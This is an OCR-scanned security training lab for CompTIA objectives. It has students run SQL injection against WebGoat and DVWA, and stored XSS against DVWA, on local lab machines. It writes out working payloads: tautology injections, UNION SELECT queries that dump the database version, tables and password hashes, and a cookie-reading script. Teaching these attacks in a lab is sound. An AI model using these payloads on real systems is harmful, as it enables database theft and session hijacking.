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Lab 13: Analyzing Types of Web Application Attacks

Contents
INEFOAUCTION .t st e e e e e s sabe e e e s s snrbeeessanreeessnnnrneesanns 3
1] o T [0 o o Uo =4V PR 4
(1Y BT =] i oY= { PP UPPRRUPPPPR 5
R I | o I Y=1 (U o PSP UPPPUPTPPR 6
1 SQLINJECTION BASICS wuuueueiiiiiiiiiiiiiieie e sssbssnsssnsnsnnas 7
1.1 Using WebGoat for SQL INJECTION.......eviiiiiiiii ettt 7
1.2 Using DVWA for SQL INJECLION ...eeviviiiieiiiiiiee ettt 16
2 Cross Site SCHIPTING XSS e s 25
2.1 USING DVWA FOI XSS oottt ettt sttt e s s e e s st e e e s a e s s 25

2

Mhis work by the National Information Security and Geospatial Technologies Consortium (NISGTC), and except where

otherwise noted, is licensed under the Creative Commons Attribution 3.0 Unported License.




Lab 13: Analyzing Types of Web Application Attacks

Introduction
The material in this lab aligns to the following learning objectives:

e Objective 3.5: Explain types of application attacks
e Objective 4.1: Explain the importance of application security controls and
techniques

More information about individual objectives and their sections can be found in
CompTIA document SY0-401, which is available from the CompTIA website.

In this lab, you will be conducting web application security practices using various tools.
You will be performing the following tasks:

1. SQL Injection Basics
2. Cross Site Scripting XSS
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Lab 13: Analyzing Types of Web Application Attacks

Lab Settings

The information in the table below will be needed in order to complete the lab. The
task sections below provide details on the use of this information.

Virtual Machine IP Address Account Password
(if needed) (if needed)
Ubuntu 192.168.1.50 student securepassword
DVL Server 10.1.1.10 root toor
Security Onion 192.168.1.6 soadmin mypassword
192.168.1.1
pfSense 10.1.1.1 admin pfsense
203.0.113.1
Kali 203.0.113.2 root toor
5

—G)
his work by the National Information Security and Geospatial Technologies Consortium (NISGTC), and except where

otherwise noted, is licensed under the Creative Commons Attribution 3.0 Unported License.




Lab 13: Analyzing Types of Web Application Attacks

Pre-Lab Setup

Before continuing to Task 1, log into the following systems below as instructed.

l. Kali
1. Onthe login screen, select Other.
2. When presented with the username, type root. Press Enter.
3. When prompted for the password, type toor. Press Enter.
4. Minimize the PC viewer window.
II. DVL
1. Onthe login screen, type root. Press Enter.
2. When prompted for a password, type toor. Press Enter.
3. When presented with the user prompt, type startx. Press Enter.
4. Once the desktop boots close the X Desktop window.
5. Minimize the PC viewer window.
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1 SQL Injection Basics

1.1 Using WebGoat for SQL Injection

1. Openthe DVL Server PC Viewer. If closed, click on the DVL Server icon on the
Topology page.

i
DVL
2. Start the WebGoat web server by clicking on the Application Menu and navigate

through Damn Vulnerable Linux > Training Material > Web Exploitation >
Webgoat > Start WebGoat port 80.

All Applications

D Damn Vulnerable Linux Darmnmn Vouls I(:l able Limnux
| @ BeResiaxed Discase
| ] services » ] Development 4 D Web Exploitation %' Web Exploitation Package 01

= VLC Media Player U Tools ¥ u Reverse Code Engineering » U Web Exploitation Package 02
‘ £ wink €] Valuable Websites '1 #) Coding » & WebScarab
| &8 xviacap ] start WebGoat Port 80
| Screenshot o Start WebGoat Port 8080

Acroread & Start WebGoat Frontend (Port 80)

| & Find Files/Folders W Start WebGoat Frontend (Port 8080)

. & TrueCrypt ol Stop WebGoat

Actions

Rin = - Webgoat+WebScarab Manual
e Run Comman

« LockSession
«/ Log Out...

[]= o &

3. Anew Terminal window will appear showing the WebGoat start status. Leave
this shell open. Minimize it for now.

Shell - Start WebGoat Port B0

4. Open the Firefox web browser by clicking on the icon located on the bottom
menu pane.

ey
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Lab 13: Analyzing Types of Web Application Attacks

5. While in Firefox, type http://127.0.0.1/WebGoat/attack (case-sensitive) into the
address field. Press Enter.

Eile Edit View History Bookmarks Tools Help

a9 9 " ™ 9 @ hitp://127.0.0.1/WebGoat/attack

6. When the Authentication window appears, type guest as the username and
guest as the password. Click OK.

Authentication Required

9 ) Enter username and password for "WebGoat Application” at http:/127.0.0.1
User Name:

guest

Password:

| e 22 2l

D Use Password Manager to remember this password.

Cancel | oK |

7. Once authenticated, you are welcomed to the WebGoat Welcome page. Click
the Start WebGoat button.
Thank you for using WebGoat!

This program is a demonstration of common web application flaws. The exercises are intended to provide
hands on experience with application penetration testing technigues,

The WebGoat project is lead by Bruce Mayhew, Please send all comments to Bruce at webgoat@owasp.org.

The Open Web Application Secunn Projost

OWASP ASPE(:‘I') '

Applicatson Security Specialiats
WebGoat Design Team Lesson Contributers

Bruce Mayhew Aspect Security

David Anderson Sherif Koussa

Rogan Dawes Romain Brechet

Laurence Casey (Graphics)

Special Thanks for ¥5.1 Documentation Contributers
Sherif Koussa
OWAé?Sigpéemvgng;ltiode (http:fhwww macadamian.com)

Erwin Geirnaert
(hitphvww zionsecurity coms)

0 all who have sent comments
Start WebGoat |

(http:/Avww zionsecurity .com)
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8. Once the page redirects, click on the Injection Flaws menu item located on the
left; this will bring down more options.

' OWASP WebGoat V5.1

Admin Functions
General

Code CQuality
I.,l.‘rscunr‘-r WY
Urnwvalidated Parameters
Access Control Flaws
Authentication Flaws
Session Management Flaws

mprupcr or Handling
Insecure Storage

Dendal of Service
Inszcure Configuration
Web Services
L Security
Challenge

A

9. Click on String SQL Injection.

Buffer Overflows
Injection Flaws
Command Injection
Elind 5QL Injection
ri Injecti
Log Spoofing
HFATH Injection
String SOL Injection
LaB: SOAL Injection

Stage 1: String SGQL
[npEction

Stane 2: Parameterized
I

Stane 3: Mumeric SGL
ri
Stane 4: Parameterized
uery #2
Database Backdoors

Improper Error Harndling
Ihaecure Storage
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Lab 13: Analyzing Types of Web Application Attacks

10. At the top-right of the webpage, click on Restart this Lesson.

I Restart this Lesson I

SAL Injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy
to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an
incredible number of systems on the internet are susceptible to this form of attack,

Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily
be prevented,

11. Type Smith into the text field and click on the Go! button.

General Goal{s):

The form below allows auser to view their credit card numbers, Try to inject an SOL string that results in all the credit
card numbers being displayed. Try the user name of "Smith’.

Enter your last name I GGH]
"Your Hame'

SHIHECT * FRM user_data WHEFE last name =

Note that this is how the query is meant to be used; you type in an input and
expect the proper output. In this case, we searched for users with the last name
Smith and we received information from the database regarding to all Smiths.

General Goal(s):

The form below allows auser 1o view their credit card numbers. Try to inject an S0L string that results in all the credit
card numbers being displayed. Try the user name of "Smith’.

Enter your last name: ISmith Go!

SHLECT * PR user_data WHHREE last name = 'Smith'

[USERID F—‘IHS‘I_HAHE‘LAST_HAME CC_NUMBER  |CC_TYPE [COOKIE [LOGIN_COUNT
[102  faohn Smith 2435600002222 [MC | o
[to2  Hahn Smith 4352209902222 |AMEX | o

Hence; SELECT * FROM user_data WHERE last_name = ‘ Smith’

10
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12. Click on Restart this Lesson.

| Restart this Lesson |

SAL Injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy
to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an
incredible number of systems on the internet are susceptible to this form of attack,

Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily
be prevented.

0 13. Inject the user_data database table with a popular injection technique so that
we can potentially leak all user information stored in the table. Type the string
below in the text field:

vV er 1=l-=

General Goal(s):

The form below allows auser to view their credit card numbers, Try to inject an SOL string that results in all the credit
card numbers being displayed. Try the user name of "Smith’.

Enter your last rﬂnell‘ or 1=1-- I Gﬂt ||

SHIHECT * FRM user_data WHEFE last name = 'Your lame'

14. Click the Go! button.

" Congratulations, You have successfully completed this lesson.
* Bet you can't do it again! This lesson has detected your successfull attack and has now switched to a
defensive mode. Try again to attack a parameterized query.

Enter your last nama:l‘ or 1=1-- Go!

SELECT * FROM umer_data WHERE last_name = '' or I=1--'

[USERID [FIRST_NAME [LAST_NAME [CC_NUMBER |CC_TVPE COOKIE‘ILOGIN_COUNTﬁ
101 Poe Snow [a87654321 VISA |
101 |Joe Snow [2234200065411 [MC jo
102 [John Smith 2435600002222 [MC o
102 [ohn [5mith [4352209302222 [AMEX o
103 [ane Plane [123d56789  [MC o
103 [Jane Plane [333498703333  [AMEX o
10312_|Jolly Hershey  |[176896789  [MC o
10312 [Jolly Hershey 333300003333 |[AMEX o
10323 [Grumpy White (673834489 MC |
10323 |Grumpy \White 33413003333  |[AMEX 0
15603 [Peter Sand 123609789  [MC o
15603 |[Peter |[Sand [338693453333 [AMEX 13
[15613 [Joesph Something (33843453533 [AMEX [ o
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Lab 13: Analyzing Types of Web Application Attacks

Notice how all of the table results are given back to us. What happened here is
that we told the query to give us results for “or 1=1-- which in return showed us
everything that is either equal to a wild card or is not equal to a wild card.

15. After the successful inject, click on Stage 1: String SQL Injection from the left
menu.

Buffer Overflows
Injection Faws
Command Inection
Blind SAL Injection
MNumeric SAL Injection
Log Spoofing
ZPATH Injection
v

LAB: SAL Injection
Stage 1: String SAL
Ingection
Stage 2: Parameterized
CQuery #1
Stage 3: Numeric SOL
Injection
Stae 4: Parameterized
Query #2

Database Backdoors

String SAL Injection

Improper Error Handling
Insecure Storace
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Lab 13: Analyzing Types of Web Application Attacks

16. You will be redirected to a Human Resource login page. Select Neville

Bartholomew (admin) from the drop-down box.

& Goat Hills Financial

1 Human Resources

[

| Neville Bartholomew (admin) - ~

Password

Login I

17. Attempt to login without a password by pressing the Login button.
18. No access has been given. On the Firefox window, select Tools from the top
menu and click on the Tamper Data tool.

History Bookmarks | Help

&0

ortal || DVL Support

2 WebGoat V5.1 E

Stac
with
(inch

menu option.

Tamper Data -

Ongoing requests

Web Search Ctri+K
Downloads Ctri+Y
Add-ons

Web Developer
Error Console

DOM Inspector Ctri+Shift+l

JavaScript Debugger

Page Info Ctri+l

Clear Private Data... Ctrl+Shift+Del
———r—
= 7 Mtllgg -uu-dﬂ

19. A new Tamper Data application window will appear. Click the Start Tamper file

Start Tmper Stop Tamper Clear Options  Help

Fitter | Show All
|Du... ITotaI Du... I IM I IContent..A ] |Load IE‘J

Request Header Na...l Re... I Response Header ... I Re... |
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20. Change focus to the WebGoat web page. Select Neville Bartholomew (admin)
once more from the user list and click the Login button.

“ Goat Hills Financial

1» Human Resources

21. Notice a new pop-up message from the Tamper Data tool appear. Click the
Tamper button to proceed.

Tamper with request?

/’) http://127.0.0.1/WebGoat/attack?Screen=34&menu=610
\ 4
[¥] Continue Tampering?

Submit | Abort Request |

22. In the new Tamper popup window, type the string ‘ or 1=1-- into the password
field. Click OK.

Tamper Popup

< http://127.0.0.1/WebGoat/attack?Screen=34&menu=610

Reguest Header Na... I Request Hea... ‘ Post Parameter Na... | Post Paramet... I

Host | 127.001 employee_id 112

User-Agent m password I
Accept Imlapplic. action Il_ogini
Accept-Language Im
Accept-Encoding Im
Accept-Charset Im
Keep-Alive 300

Connection IkeepT
Referer Im
Cookie Im

Cancel |
14
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23. Once the tool finishes its process, click Stop Tamper from the file menu.

Tamper Data - Ongoing requests

Start Tamper |Stop Tamper| Clear Options  Help
Fitter | Show Al
|ou.. |Totaipu.. | [m._ [ |content. [ [Load. [m
90 ms 90 ms -1 GET 304 applicatio... ... LOAD... |&
90 ms 90 ms -1 GET 304 applicatio... ... LOAD...
91 ms 91 ms -1 GET 304 applicatio... ... LOAD...
92ms 92 ms -1 GET 304 applicatio... ... LOAD...
94 ms 94 ms -1 GET 304 applicatio... ... LOAD...
95 ms 95 ms -1 GET 304 applicatio... ... LOAD.. j
Renuect Header Na Re Recnnnce Header Re

24. Notice the successful SQL injection on the WebGoat web page. We now have
access to the user database as the administrator. Select the first user from the
list; Larry Stooge and click the ViewProfile button.

* ¥ou have completed String SQL Injection.
* Welcome to Parameterized Query #1

“ Goat Hills Financial

5
1 Human Resources
[.-'i, Welcome Back evie - Staff Listing Page

(4

| Belect from the list below

’ La Stooe (emloee) =

Moe Stooge (manager
Curly Stooge (employee) SearchStaff

Eric Walker (employee) |
Tom Cat (employee) : .“
Jerry Mouse (hr)
David Giambi (manager) DeleteProfile |

Bruce McGuirre (employee)

Sean Livingston (employee) Logout I
Joanne McDougal (hr) I\
John Wayne (admin) ~

\

15
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Lab 13: Analyzing Types of Web Application Attacks

25. Notice that we have complete control over all user profiles and complete access
to their personal information.

+“ Goat Hills Financlal

i Human Resources

km 7\'Iielcore Ban:kge.v e > |
First Name: Larry Last Name: Stooge
Street 9175 Guiford Rd City/State New York, NY
Phone: 443-683-0192 Start Date: 1012000
SSN: 386-09-5451 Salary: 55000
Credit Card: 2578546969853547 Credit Card Limit: 5000
Comments: Does not work well with others Manager: 102
Disciplinary Constantly harassing Disciplinary Action 10106
Explanation: coworkers Dates:

ListStaff | EditProfile I DeleteProfile Logout
(

26. Close the Firefox web browser.

1.2 Using DVWA for SQL Injection

1. Openthe Kali PC Viewer. If closed, click on the Kali icon on the Topology page.
Kali

2. Open a new Terminal window by clicking on the Terminal icon located on the
top menu pane.

Applications Places f .

16
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Lab 13: Analyzing Types of Web Application Attacks

3. Within the Terminal, type the command below to list the currently active
network interfaces.

ifconfig

Link unc%p Ethernet HWaddr 00:50:56:9c:fe:5b

inet addr:203.0.113.2 Bcast: 0.113.7 Mask:255.255.
inet6 addr: feB0::250:56ff:fe9c:feS5b/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:l

RX packets:9 errors:0 dropped:0 overruns:0 frame:0

TX packets:59 errors:0 dlorpad 0 overruns:0 carrier:0
collisions
13996 (3.9 KiB)

.
4. Bring the loopback interface to an active state.
ifconfig lo up

~# ifconfig lo up

~#

5. Verify that the loopback interface is now up.
ifconfig

:~# ifconfig
eth Link encap:Ethernet HWaddr 00:50:56:9c:fe:5b
inet addr:203.0.113.2 Bcast .0.113.7 Mask:255.255.255.248
inet6 addr: feB0::250:56ff:fe9c:feS5b/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:l
RX packets:9 errors:0 dropped overruns:0 frame:0
TX packets:59 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:700 (700.0 B) TX bytes:3996 (3.9 KiB)
Intorrupt 18 Base address 00

Llnk cncap Lural LOODbd&k

MTU:65536 Metric:l
RX packets:@ errors:0 dropped:0 overruns:@
TX packets:0 errors:0 dropped:0 overruns:C
collisions:0 txqueuelen:0
RX bytes:@ (0.0 B) TX bytes:0 (0.0 B)

17
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Lab 13: Analyzing Types of Web Application Attacks
6. Start the mysql service by typing the command below.

service mysqgl start

:~# service mysqgl start
[ ] Starting MySQL database server: mysqld
[ ] Checking for tables which need an upgrade, are corrupt or were

not closed cleanly..
~#

7. Start the apache web service.
service apache2 start

:~# service apache2 start
[....] Starting web server: apache2apache2: Could not reliably determine the server's fully qualified domain name, using
127.0.1.1 for ServerName

~#

8. Open the Iceweasel web browser by clicking the on the web browser icon
located on the top menu pane.

Applications Places r

9. Inthe address field, type http://127.0.0.1/dvwa/login.php. Press Enter.

File Edit View History Bookmarks Tools Help
Damn Vulnerable Web App (D... |&5&

@ |® 127001

FiMost Visitedv [l Offensive Security "\ Kali Linux

10. On the login page, type admin for the username and password for the password.
Click Login.

DWA)

Username

18
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11. Click on the DVWA Security menu option located on the left.

12. Change the security level to low from the drop-down menu and click Submit.

13. Confirm that the Security level is currently set to low.

Bt

Instructions

Setup

Brute Force

Command Execution

Insecure CAPTCHA

File Inclusion

SQL Injection

SQL Injection (Blind)

XSS reflected

XSS stored

DVWA Security »

Script Security
Security Level is currently high
You can set the security level to low, medium or high

The security level changes the vulnerability level of DVWA.

llow || Submit

Script Security
Security Level is current|
You can set the security level to low, medium or high

The security level changes the vulnerability level of DVWA

low

19
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Lab 13: Analyzing Types of Web Application Attacks
14. Click on SQL Injection from the left menu.
CSRF ]

Insecure CAPTCHA }
File Inclusion

SQL Injection (Blind) J
Upload ]
XSS reflected |

15. Type in the number zero (0) in the User ID: field and click Submit.

Vulnerability: SQL Injection
User ID:
fo | Il submit |

Notice no output is given.
16. Type in the number one (1) in the User ID: field and click Submit.

Vulnerability: SQL Injection

User ID:

L |

ID: 1
First name: admin
Surname: admin

Submit

Notice from the PHP select statement, we are given the output related to an
admin account, which corresponds to the User ID: 1.

20
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Lab 13: Analyzing Types of Web Application Attacks

J 17. Attempt to use the “always true” SQL injection technique by typing the string
below into the User ID: field.

Vulnerability: SQL Injection

User ID:
‘or X=' |I Submit |

This is another popular string variant from the string used earlier from Task 1.1.
Here we are stating that x will always equal x.

Behind the scenes, the statement is actually querying the following:
mysql> SELECT first_name, sur_name FROM users WHERE user_id = “ or ‘x’='x;

18. Now we are able to see the account names in the database. Verify that you can
see all five accounts.

X0 ! apixrtaix
First name: admn
Surname: admin

3 Y opet St
First name: Gordon
surname: Brown

I Y or iRV=U
First name: Hack
Surname: Me

ID: * or 'x'
First name:
Surname: Pica

H3: ' o L=
First name: Bob
Surname: Smth

21
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Lab 13: Analyzing Types of Web Application Attacks

19. Type another string in the User ID: field to query the version of the database.

‘"'or 1=1 union select null,

version ()

#

Vulnerability: SQL Injection

User ID:

[l union select null, version) 4| Submit |

20. Click Submit. Take note of the mysql database version that is given to us.

ID: ' or

First name:

Surname:

a: | or

First name:

sSurname:

ID: ' or

First name:

Surname:

ID: ' or

First name:

surname:

ID: ' or

First name:

Surname:

ID: ' or 1=1 umon select null,

First nan

1=1 union select
admin

admin

1=1 union
Gordon
Brown

1=1 union select
Hack

Me

1=1 union
Pablo
Picasso

1=1 union

Bob
sm th

ne:

Surname:

5.5. 38- O+wheezyl |

null,

null,

null,

null,

null,

version() #

version() #

version() #

version() #

version() #

version() #

21. Type another string in the User ID: field to query the database name.

‘"'or 1=1 union select null,

database () #

Vulnerability: SQL Injection

User ID:

|imlon select null, database() 341“ Submit I

22
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Lab 13: Analyzing Types of Web Application Attacks

22. Click Submit. Take note of the mysql database name that is given to us.

ID: ' or 1=1 umon select null, database() #
First name: admin
Surname: admin

S

ID: ' or 1=1 union select null, database()
First name: Gordon
Surname: Brown

ID: ' or 1=1 umion select null, database() #
First name: Hack
Surname: Me

*

ID: ' or 1=1 union select null, database()
First name: Pablo
Surname: Picasso

ID: ' or 1=1 umion select null, database() #
First name: Bob
Surname: Smith

ID: ' or 1=1 union select null, database() #
First name:

23. Type another string in the User ID: field to query for all tables in the
information_schema database.

‘ or 1=1 union select null, table name from information schema.tables #

Vulnerability: SQL Injection
User ID:
hinfurrnation_schema.tablesﬂ]l Submit I

Take note of all the different table information next to Surname. The
information_database stores information about all of the databases that the
mysql server maintains.

rea mW\WW‘ -
ID: ' or 1=1 unidn setect null, table name ffom information_schema.tables #

First nape: b
Surname:| Sm th

ID: ' or 1=1 union select null, table_name from information_schema.tables #
First nampes
Surname: |CHARACTER_SETS

ID: ' or 1=1 union select null, table name from information_schema.tables #
First name:

Surname:| COLLATIONS

ID: ' or 1=1 union select null, table name from information_schema.tables #

First naga.
Surname:TEOLLATION_CHARACTER;SET_APPLICABILITY|

T T i A VN e B i W NG SR
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Lab 13: Analyzing Types of Web Application Attacks

24. Type another string in the User ID: field to query for all column content in the
user table.

‘"'or 1=1 union select null,

concat (first name, Ox0a, last name, 0x0a,user,0x0a, password)

Vulnerability: SQL Injection

User ID:

ILOan,password) from users ;1]| Surimit I

from users #

Notice the amount of the user information given to us along with their
respective credentials.

.

RN VAPV N, e N\ A
ID: © or 1=1 umlon select null, concat(first_name,Ox0a,last_name,0x0a,user, 0x04

1
ISurname: Picassol

A

ID: ' or 1=1 union select null, concat(first_name,Ox0a,last_name,0x0a,user,0x04

ID: ' or 1=1 union select null, concat(first_name,0Ox0a,last_name,Ox0a,user,0x0d

Sf4dcc3bSaa765d61d8327debs8s82cf 99

namas _Hab
Surname: Smith
First name:
Surname: admin
admin
admin

ID: ' or 1=1 union select null, concat(first_name,Ox0a,last_name,Ox0a,user,0x04

ID: ' or 1=1 union select null, concat(first_name,Ox0a,last_name,OxOa,user, Ox0O4

Surname: Gordon

Brown

gordonb

299a18c428cb38dSf 260853678922¢03
First name:

surname: Hack

Me

1337

8d3533d75ae2c3966d7e0d4f cc69216b

25. Leave the DVWA web page open for the next task.

otherwise noted, is licensed under the Creative Commons Attribution 3.0 Unported License.
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,password) from users #
,password) from users #

,password) from users #

,password) from users #

,password) from users #
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Lab 13: Analyzing Types of Web Application Attacks

2 Cross Site Scripting XSS

2.1 Using DVWA for XSS

1. While on the DVWA web page, click on XSS stored from the left menu pane.

CSRF

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)
Upload

XSS reflected

XSS stored

|
|
File Inclusion |
|
|
|

2. On this page, you are presented with a write form that is mimicking a comment
section where random users are able to write their comments. Make a test XSS
exploit by typing XS51 in the Name text field.

Vulnerability: Stored Cross Site Scripting (XSS)
Name * | X551 I |

Message *

| Sign Guestbook

3. Type the script below into the Message text field.

<script>alert (“Exploiting XSS vulnerability test”)</script>

Vulnerability: Stored Cross Site Scripting (XSS)

Name * [xss1 i

<script>alert("Exploiting XSS vulenrability test”)</script> I

Sign Guestbook

4. Click on the Sign Guestbook button.

Message *
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Lab 13: Analyzing Types of Web Application Attacks

5. Notice the popup message showing the same text you have inputted between
the quotations. With this vulnerability, every time a user views this page they
will experience the XSS exploit just as it shows now.

Exploiting XSS wilenrability test

oK

6. Click the OK button on the pop-up alert.
7. While in the Firefox web browser, click the + icon on the tab bar to open a new
tab.

File Edit View History Bookmarks Tools Help

& | Damn Vulnerable Web App (D...

€ (@ 127.0.0.1/dvwalvulnerabilitie

= a - mar . e = W -~ - g - g5 e wr a0

8. On the new tabbed screen, type http://127.0.0.1 into the address field. Press
Enter.

File Edit View History Bookmarks Tools Help
Damn Vulnerable Web App (... 3 | [ New Tab x|

http:/127.0.0.1 [

9. Notice that apache web service running on the local machine has the default
settings for when setting up a homepage.

@ 127.0.0.1

ff Most Visited™ JllOffensive Security " Kali Linux “§ Kali Docs KMExploit-DB Wy Aircracl

It works!

This is the default web page for this server.

The web server software is running but no content has been added, yet.
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Lab 13: Analyzing Types of Web Application Attacks

10. Switch back to the Damn Vulnerable Web App tab.

File Edit View History Bookmarks Tools Help
I. Damn Vulnerable Web App (... xl {_ihttp://127.0.0.1/

‘ [G 127.0.0.1/dvwa/vulnerabilities/xss_s/

11. Click on the Setup menu option located to the left.

12. Once redirected, click on the Create / Reset Database button.

Database setup -

Click on the 'Create / Reset Database' hutton below to create or reset your database. If you get an error make
sure you have the correct user credentials in /config/config.inc php

If the database already exists, it will be cleared and the data will be reset.

Backend Database: MySQL

[ Create / Reset Datahase ]

13. Click on the XSS Stored menu option.

X55 stored
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Lab 13: Analyzing Types of Web Application Attacks

14. For the Name, type iframel.

Vulnerability: Stored Cross Site Scripting (XSS)

Name * |[iframel I [
|

Message * ‘

| sSign Guestbook

15. Type the script below into the Message field.

<iframe src="http://127.0.0.1"></iframe>

Vulnerability: Stored Cross Site Scripting (XSS)

Name * [irame1 |

<jframe src="http//127.0.0.1"></iframe> I

Message * ‘

Sign Guesttgok

16. Click on Sign Guestbook.
17. Scroll down and notice the new iframe presented on the screen. You should see
J Kali’s homepage within the iframe.

MName: iframel
Message:

It works! |

This is the default web page for
this server.

The web server software is

Foammimer bk ma asambank lnas -

28

®' Ev his work by the National Information Security and Geospatial Technologies Consortium (NISGTC), and except where
otherwise noted, is licensed under the Creative Commons Attribution 3.0 Unported License.




Lab 13: Analyzing Types of Web Application Attacks

18. Click on the Setup menu option.

19. Once redirected, click on the Create / Reset Database button.

Database setup -

Click on the 'Create / Reset Database' button below to create or reset your database. If you get an error make
sure you have the correct user credentials in /eonfigfconfig.inc.php
If the database already exists, it will be cleared and the data will be reset.

Backend Database: MySQL

Create / Reset Datahase ]

20. Click on the XSS Stored menu option.

XS5 stored

21. For the name, type cookiel.

Vulnerability: Stored Cross Site Scripting (XSS)
Name * m |
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Lab 13: Analyzing Types of Web Application Attacks
22. Type the script below into the Message field.

<script>alert (document.cookie)</script>

Vulnerability: Stored Cross Site Scripting (XSS)

Name * [cookiel ;

I|<script>alert(d0cument cookie)</script> I
Message * ‘

Sign Guestbook

23. Click on Sign Guestbook. A pop-up alert appears showing the user’s cookie

information; in this case, it is our cookie information. This script can be modified
_) in a way where if the malicious attacker may decide to forward cookie
information to a remote server and use man-in-the-middle techniques to steal
personal information on a banking website for example.

security=low; PHPSESSID=wfcb3655unm397qaeae997421

24. Click the OK button.
25. Close all remaining windows.
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